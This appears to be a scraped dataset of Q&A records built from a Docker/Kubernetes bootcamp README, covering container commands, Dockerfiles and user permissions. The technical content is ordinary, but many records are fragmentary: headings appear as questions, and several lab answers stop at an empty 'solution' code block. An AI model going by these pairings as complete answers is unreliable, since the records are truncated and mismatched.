{"id": "gh_222443e57d73", "question": "How to: 1. Understanding and Using Containers", "question_body": "About piouson/kubernetes-bootcamp", "answer": "A [container](https://www.docker.com/resources/what-container/) is a standard unit of software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another. A **container-runtime**, which relies on the host kernel, is required to run a container.\n\n[Docker](https://www.docker.com/) is the most popular container-runtime and container-solution, but there are other runtimes like [runc](https://github.com/opencontainers/runc#runc), [cri-o](https://cri-o.io/), [containerd](https://containerd.io/), etc, However, the only significant container-solutions today are Docker and [Podman](https://podman.io/)\n\nA container image is a lightweight, standalone, executable package of software that includes everything needed to run an application: code, runtime, system tools, system libraries and settings. Container images become containers at runtime.\n\nThe [Open Container Initiative (OCI)](https://opencontainers.org/) creates open industry standards around container formats and runtimes.\n\nA container registry is a repository, or collection of repositories, used to store and access container images. Container registries are a big player in cloud application development, often as part of [GitOps](https://www.redhat.com/en/topics/devops/what-is-gitops) processes.", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753667"}
{"id": "gh_63da0d8f400c", "question": "How to: exit running container without stopping it", "question_body": "About piouson/kubernetes-bootcamp", "answer": "ctrl-p ctrl-q\n```\n\n> See [possible container statuses](https://www.baeldung.com/ops/docker-container-states#possible-states-of-a-docker-container) to understand more about container states", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753677"}
{"id": "gh_34442186b873", "question": "How to: Lab 1.1. Hello docker", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Run `docker info` to confirm docker client and server statuses\n2. Run `docker run hello-world`", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753683"}
{"id": "gh_08785848c9ec", "question": "How to: view kernel details", "question_body": "About piouson/kubernetes-bootcamp", "answer": "uname -r # or `cat /proc/version` or `hostnamectl`", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753689"}
{"id": "gh_6f66ce02d3b9", "question": "How to: view os version", "question_body": "About piouson/kubernetes-bootcamp", "answer": "cat /etc/*-release # or redhat `/etc/redhat-release`, other unix-based os `/etc/os-release`", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753694"}
{"id": "gh_80dddfc3746f", "question": "How to: view processes, alternative to `ps`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "ls /proc # to find PID, then\ncat /proc/$PID/cmdline\n```\n\n1. Run `ps aux` to review running processes on your host device\n2. Run a `busybox` container in interactive mode `docker run -it busybox`\n3. Review the container kernel details\n4. Review the running processes in the container and note PID\n5. Exit the container\n6. List running containers\n7. List all containers\n8. Repeat [2] and exit the container without stopping it\n9. List running containers\n10. List all containers\n11. Delete the containers\nlab1.2 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753700"}
{"id": "gh_168a47f5f9d6", "question": "How to: container terminal", "question_body": "About piouson/kubernetes-bootcamp", "answer": "ps aux\nuname -r\ncat /proc/version\nhostnamectl # not found\ncat /etc/*-release # not found\nbusybox | head\nexit", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753706"}
{"id": "gh_efbfe1368844", "question": "How to: host terminal", "question_body": "About piouson/kubernetes-bootcamp", "answer": "docker ps\ndocker ps -a\ndocker run --name box2 -it busybox", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753710"}
{"id": "gh_e89e097d7670", "question": "How to: view open ports, the commands below only work if installed in the container", "question_body": "About piouson/kubernetes-bootcamp", "answer": "netstat -tupln # see `netstat --help` - t tcp, u udp, p program-names, l listening, n port-numbers-only\nss -tulpn # see `ss --help`, alternative to netstat\n```\n\n1. Run a `nginx` container\n2. List running containers (use another terminal if stuck)\n3. Exit the container\n4. List running containers\n5. Run another `nginx` container in interactive mode\n6. Review container kernel details\n7. Review running processes in the container\n8. Exit container\n9. Run another `nginx` container in detached mode\n10. List running containers\n11. Connect a shell to the new container interactively\n12. View open ports in the container\n13. Exit the container\n14. List running containers\n15. Delete all containers\nlab1.3 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753723"}
{"id": "gh_fd96e2024d82", "question": "How to: Lab 1.4. Container arguments", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Run a `busybox` container with command `sleep 30` as argument, see `sleep --help`\n2. List running containers (use another terminal if stuck)\n3. Exit container (note that container will auto exit after 30s)\n4. Run another `busybox` container in detached mode with command `sleep 300` as argument\n5. List running containers\n6. Connect to the container to execute commands\n7. Exit container\n8. List running containers\n9. Run another `busybox` container in detached mode, no commands\n10. List running containers\n11. List all containers\n12. Delete all containers\nlab1.4 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753751"}
{"id": "gh_4d8c15b86b08", "question": "How to: run container with port, see `docker run --help`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "docker run -d -p 8080:80 httpd # visit localhost:8080", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753769"}
{"id": "gh_531f565959fd", "question": "How to: run container with mounted volume", "question_body": "About piouson/kubernetes-bootcamp", "answer": "docker run -d -p 8080:80 -v ~/html:/usr/local/apache2/htdocs httpd", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753776"}
{"id": "gh_3953b3fbf91d", "question": "How to: run container with environment variable", "question_body": "About piouson/kubernetes-bootcamp", "answer": "docker run -e MONGO_INITDB_ROOT_USERNAME=admin -e MONGO_INITDB_ROOT_PASSWORD=secret mongo", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753780"}
{"id": "gh_515e0b97a992", "question": "How to: inspect container, see `docker container inspect --help | docker inspect --help`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "docker inspect $CONTAINER_NAME_OR_ID | less # press Q key to quit from less\ndocker container inspect $CONTAINER_NAME_OR_ID", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753784"}
{"id": "gh_ffa9189ce513", "question": "How to: format inspect output to view container network information", "question_body": "About piouson/kubernetes-bootcamp", "answer": "docker inspect --format=\"{{.NetworkSettings.IPAddress}}\" $CONTAINER_NAME_OR_ID", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753788"}
{"id": "gh_a6649b7fbf05", "question": "How to: format inspect output to view container status information", "question_body": "About piouson/kubernetes-bootcamp", "answer": "docker inspect --format=\"{{.State.Pid}}\" $CONTAINER_NAME_OR_ID", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753792"}
{"id": "gh_baa48cdfa5e3", "question": "How to: manage images, see `docker image --help`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "docker image ls # or `docker images`\ndocker image inspect $IMAGE_ID\ndocker image rm $IMAGE_ID", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753797"}
{"id": "gh_06f81b03eb63", "question": "How to: Lab 1.5. Container ports and IP", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Run a `nginx` container with name `webserver`\n2. Inspect the container (use `| less` to avoid console clutter) and review the `State` and `NetworkSettings` fields, quit with `q`\n3. Visit `http://$CONTAINER_IP_ADDRESS` in your browser (this may not work depending on your envrionment network settings)\n4. Run another `nginx` container with name `webserver` and exposed on port 80\n5. Visit [localhost](http://localhost) in your browser\n6. Delete the containers\nlab1.5 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753804"}
{"id": "gh_9a38d78042ae", "question": "How to: Lab 1.6. Container volumes", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create an `html/index.html` file with some content\n2. Run any webserver containers on port 8080 and mount the `html` folder to the [DocumentRoot](https://serverfault.com/a/588388)\n   - option `nginx` DocumentRoot - `/usr/share/nginx/html`\n   - option `httpd` DocumentRoot - `/usr/local/apache2/htdocs`\n3. Visit [localhost:8080](http://localhost:8080)\n4. List running containers\n5. List all containers\n6. Delete containers\nlab1.6 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753816"}
{"id": "gh_46928ccb49c0", "question": "How to: with nginx", "question_body": "About piouson/kubernetes-bootcamp", "answer": "docker run -d --name webserver -v ~/html:/usr/share/nginx/html -p 8080:80 nginx", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753826"}
{"id": "gh_31e541b2cf15", "question": "How to: docker run -d --name webserver -v ~/html:/usr/local/apache2/htdocs -p 8080:80 httpd", "question_body": "About piouson/kubernetes-bootcamp", "answer": "curl localhost:8080\ndocker ps\ndocker ps -a\ndocker stop webserver\ndocker rm webserver\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753831"}
{"id": "gh_aa264977a101", "question": "How to: Lab 1.7. Container environment variables", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Run a `mysql` container in detached mode\n2. Connect to the container\n3. Review the container logs and resolve the output message regarding environment variable\n4. Confirm issue resolved by connecting to the container\n5. Exit the container\n6. List running containers\n7. List all containers\n8. List all images\n9. List all volumes\n10. Clean up with [`docker system prune`](https://docs.docker.com/engine/reference/commandline/system_prune/)\n11. Check all resources are deleted, containers, images and volumes.\nlab1.7 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753837"}
{"id": "gh_b9dd9b3d1e88", "question": "How to: Lab 1.8. Container registries", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Explore [Docker Hub](https://hub.docker.com/) and search for images you've used so far or images/applications you use day-to-day, like databases, environment tools, etc.\n\n> Container images are created with instructions that determine the default container behaviour at runtime. A familiarity with specific images/applications may be required to understand their default behaviours", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753847"}
{"id": "gh_d51a5ff13da3", "question": "How to: 2. Managing Container Images", "question_body": "About piouson/kubernetes-bootcamp", "answer": "A docker image consist of layers, and each [image layer](https://vsupalov.com/docker-image-layers/) is its own image. An image layer is a change on an image - every command (FROM, RUN, COPY, etc.) in your Dockerfile (aka Containerfile by OCI) causes a change, thus creating a new layer. It is recommended reduce your image layers as best possible, e.g. replace multiple `RUN` commands with \"command chaining\" `apt update && apt upgrade -y`.\n\n> A name can be assigned to an image by \"tagging\" the image. This is often used to identify the image version and/or registry.\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753852"}
{"id": "gh_f563c569ea16", "question": "How to: tagging images, see `docker tag --help`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "docker tag $IMAGE_NAME $NEW_NAME:$TAG # if tag is omitted, `latest` is used\ndocker tag nginx nginx:1.1", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753856"}
{"id": "gh_812966b65822", "question": "How to: tags can also be used to add repository location", "question_body": "About piouson/kubernetes-bootcamp", "answer": "docker tag nginx domain.com/nginx:1.1\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753860"}
{"id": "gh_e4597f46b0ac", "question": "How to: Lab 2.1. Working with images", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. List all images (if you've just finished [lab1.7](#lab-17-container-environment-variables), run new container to download an image)\n2. Inspect one of the images with `| less` and review the `ContainerConfig` and `Config`\n3. View the image history\n4. Tag the image with the repository `localhost` and a version\n5. List all images\n6. View the tagged image history\n7. Delete tagged image by ID\n8. Lets try that again, delete tagged image by tag\nlab2.1 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753865"}
{"id": "gh_acb305e6e9cd", "question": "How to: using nginx image", "question_body": "About piouson/kubernetes-bootcamp", "answer": "docker image inspect nginx | grep -A 40 ContainerConfig | less\ndocker image inspect nginx | grep -A 40 '\"Config\"' | less\ndocker image history nginx\ndocker tag nginx localhost/nginx:1.1\ndocker image ls\ndocker image history localhost/nginx:1.1 # tagging isn't a change\ndocker image rm $IMAGE_ID # error conflict\ndocker image rm localhost/nginx:1.1 # deleting removes tag\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753871"}
{"id": "gh_18a1808bb646", "question": "How to: Lab 2.2. Custom images", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Although, we can also [create an image from a running container using `docker commit`](https://docs.docker.com/engine/reference/commandline/commit/), we will only focus on using a Dockerfile, which is the recommended method.\n\nBuild the below Dockerfile with `docker build -t $IMAGE_NAME:$TAG /path/to/Dockerfile/directory`, see `docker build --help\n\n```Dockerfile", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753876"}
{"id": "gh_68077503bf54", "question": "How to: Example Dockerfile", "question_body": "About piouson/kubernetes-bootcamp", "answer": "FROM ubuntu\nMAINTAINER Piouson\nRUN apt-get update && \\\n    apt-get install -y nmap iproute2 && \\\n    apt-get clean\nENTRYPOINT [\"/usr/bin/nmap\"]\nCMD [\"-sn\", \"172.17.0.0/16\"] # nmap will scan docker network subnet `172.17.0.0/16` for running containers\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753889"}
{"id": "gh_054b95a72352", "question": "How to: Dockerfile overview", "question_body": "About piouson/kubernetes-bootcamp", "answer": "```sh\nFROM # specify base image\nRUN # execute commands\nENV # specify environment variables used by container\nADD # copy files from project directory to the image\nCOPY # copy files from local project directory to the image - ADD is recommended\nADD /path/to/local/file /path/to/container/directory # specify commands in shell form - space separated\nADD [\"/path/to/local/file\", \"/path/to/container/directory\"] # specify commands in exec form - as array (recommended)\nUSER # specify username (or UID) for RUN, CMD and ENTRYPOINT commands\nENTRYPOINT [\"command\"] # specify default command, `/bin/sh -c` is used if not specified - cannot be overwritten, so CMD is recommended for flexibility\nCMD [\"arg1\", \"arg2\"] # specfify arguments to the ENTRYPOINT - if ENTRYPOINT is not specified, args will be passed to `/bin/sh -c`\nEXPOSE $PORT # specify container should listen on port $PORT\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753895"}
{"id": "gh_32bc4063beed", "question": "How to: Lab 2.3. Create image from Dockerfile", "question_body": "About piouson/kubernetes-bootcamp", "answer": "See [best practices for writing Dockerfile](https://docs.docker.com/develop/develop-images/dockerfile_best-practices).\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753899"}
{"id": "gh_69490794bbd1", "question": "How to: find a package containing an app (debian-based)", "question_body": "About piouson/kubernetes-bootcamp", "answer": "apt-file search --regex\n# requires `apt-file` installation, see `apt-file --help`\napt-file search --regex \".*/sshd$\"", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753903"}
{"id": "gh_26a335a79314", "question": "How to: find a package containing an app, if app already installed (debian-based)", "question_body": "About piouson/kubernetes-bootcamp", "answer": "dpkg -S /path/to/file/or/pattern # see `dpkg --help`\ndpkg -S */$APP_NAME", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753907"}
{"id": "gh_038d93b79887", "question": "How to: find a package containing an app (rpm-based)", "question_body": "About piouson/kubernetes-bootcamp", "answer": "dnf provides /path/to/file/or/pattern\ndnf provides */sshd\n```\n\n1. Create a Dockerfile based on the following:\n   - Base image should be debian-based or rpm-based\n   - Should include packages containing `ps` application and network utilities like `ip`, `ss` and `arp`\n   - Should run the `nmap` process as the `ENTRYPOINT` with arguments `-sn 172.17.0.0/16`\n2. Build the Dockerfile with repository `local` and version `1.0`\n3. List images\n4. Run separate containers from the image as follows and review behaviour\n   - do not specify any modes\n   - in interactive mode with a shell\n   - in detached mode, then check the logs\n5. Edit the Dockerfile to run the same process and arguments but **not** as `ENTRYPOINT`\n6. Repeat all three options in [4] and compare the behaviour\n7. Clean up\nlab2.3 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753913"}
{"id": "gh_455e5d47f0e6", "question": "How to: Dockerfile", "question_body": "About piouson/kubernetes-bootcamp", "answer": "FROM alpine\nRUN apk add --no-cache nmap iproute2 net-tools\nENTRYPOINT [\"/usr/bin/nmap\"]\nCMD [\"-sn\", \"172.17.0.0/16\"]\n```\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753931"}
{"id": "gh_8860f260804c", "question": "How to: Lab 2.4. Containerise your application", "question_body": "About piouson/kubernetes-bootcamp", "answer": "See the [official language-specific getting started guides](https://docs.docker.com/language/) which includes NodeJS, Python, Java and Go examples.\n\n1. Bootstrap a frontend/backend application project, your choice of language\n2. Install all dependencies and test the app works\n3. Create a Dockerfile to containerise the project\n4. Build the Dockerfile\n5. Run a container from the image exposed on port 8080\n6. Confirm you can access the app on [localhost:8080](http://localhost:8080)\nlab2.4 nodejs solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753957"}
{"id": "gh_696872cb9439", "question": "How to: Docker container access control", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Before we finally go into Kubernetes, it would be advantageous to have a basic understanding of unix-based systems file permissions and access control.\n\n#### UID and GID\n\nA _user identifier (UID)_ is a unique number assigned to each user. This is how the system identifies each user. The root user has UID of 0, UID 1-500 are often reserved for system users and UID for new users commonly start at 1000. UIDs are stored in the plain-text `/etc/passwd` file: each line represents a user account, and has seven fields delimited by colons `account:password:UID:GID:GECOS:directory:shell`.\n\nA _group identifier (GID)_ is similar to UIDs - used by the system to identify _groups_. A _group_ consists of several users and the root group has GID of 0. GIDs are stored in the plain-text `/etc/group` file: each line represents a group, and has four fields delimited by colons `group:password:GID:comma-separated-list-of-members`. An example of creating and assigning a group was covered in [requirements - docker installation for debian users](#requirements) where we created and assigned the `docker` group.\n\nUIDs and GIDs are used to implement _Discretionary Access Control (DAC)_ in unix-based systems by assigning them to files and processes to denote ownership - _left at owner's discretion_. This can be seen by running `ls -l` or `ls -ln`: the output has seven fields delimited by spaces `file_permisions number_of_links user group size date_time_created file_or_folder_name`. See [unix file permissions](https://www.guru99.com/file-permissions.html) for more details.\n```\nls -l\n```\nin detail\n![output of commandline list](https://user-images.githubusercontent.com/17856665/187016629-e6c4f17f-f06a-4aeb-98c4-0cfc4d371be2.png)\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753981"}
{"id": "gh_431dfa7c367a", "question": "How to: output - `account:password:UID:GID:GECOS:directory:shell`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "root:x:0:0:root:/root:/bin/bash\npiouson:x:1000:1000:,,,:/home/dev:/bin/bash", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753986"}
{"id": "gh_0e2d11400564", "question": "How to: show ownership by ids, output - `permision number_of_links user group size date_time_created file_or_folder_name`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "ls -ln\n```\n\n#### Capabilities\n\nIn the context of permission checks, processes running on unix-based systems are traditionally categorised as:\n\n- _privileged_ processes: effective UID is 0 (root) - bypass all kernel permission checks\n- _unprivileged_ processes: effective UID is nonzero - subject to permission checks\n\nStarting with kernel 2.2, Linux further divides traditional root privileges into distinct units known as _capabilities_ as a way to control root user powers. Each root _capability_ can be independently enabled and disabled. \\\nSee the [overview of Linux _capabilities_](https://man7.org/linux/man-pages/man7/capabilities.7.html) for more details, including a comprehensive list of capabilities.\n\n> `CAP_SYS_ADMIN` is an overloaded capability that grants privileges similar to traditional root privileges \\\n> By default, Docker containers are **_unprivileged_** and root in a docker container uses [_restricted capabilities_](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) \\\n> ❌ `docker run --privileged` gives all capabilities to the container, allowing nearly all the same access to the host as processes running on the host\n\n#### Running containers as non-root\n\nFor practical reasons, most containers run as root by default. However, in a security context, this is bad practice:\n\n- it voilates the [_principle of least privilege_](https://en.wikipedia.org/wiki/Principle_of_least_privilege)\n- an attacker might take advantage of an application vulnerability to gain root access to the container\n- an attacker might take advantage of a container-runtime, or kernel, vulnerability to gain root access to the host after gaining access to the container\n\nWe can control the users containers run with by:\n\n- omitting the `USER` command in Dockerfile assigns root\n- specify a user in the `Dockerfile` with the `USER` command\n- override the UID at runtime with `docker run --user $UID`\n\n```Dockerfile", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753996"}
{"id": "gh_9b1eab7b41c9", "question": "How to: create group `piouson`, and create user `piouson` as member of group `piouson`, see `groupadd -h` and `useradd -h`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "RUN groupadd piouson && useradd piouson --gid piouson", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754001"}
{"id": "gh_6fadbe512313", "question": "How to: specify GID/UID when creating/assigning a group/user", "question_body": "About piouson/kubernetes-bootcamp", "answer": "RUN groupadd --gid 1004 piouson && useradd --uid 1004 piouson --gid piouson", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754005"}
{"id": "gh_1877f1224478", "question": "How to: create system-group `myapp`, and create system-user `myapp` as member of group `myapp`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "RUN groupadd --system myapp && useradd --system --no-log-init myapp --gid myapp", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754009"}
{"id": "gh_0f04bbb66343", "question": "How to: Lab 2.5. Container privileges", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Display your system's current user\n2. Display the current user's UID, GID and group memberships\n3. Run a `ubuntu` container interactively, and in the container shell:\n   - display the current user\n   - display the current user's UID, GID and group memberships\n   - list existing user accounts\n   - list existing groups\n   - create a file called `test-file` and display the file ownership info\n   - exit the container\n4. Run a new `ubuntu` container interactively with UID 1004, and in the container shell:\n   - display the current user\n   - display the current user's UID, GID and group memberships\n   - exit the container\n5. Create a docker image based on `ubuntu` with a non-root user as default user\n6. Run a container interactively using the image, and in the container shell:\n   - display the current user\n   - display the current user's UID, GID and group memberships\n   - exit the container\n7. Delete created resources\nlab2.5 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754019"}
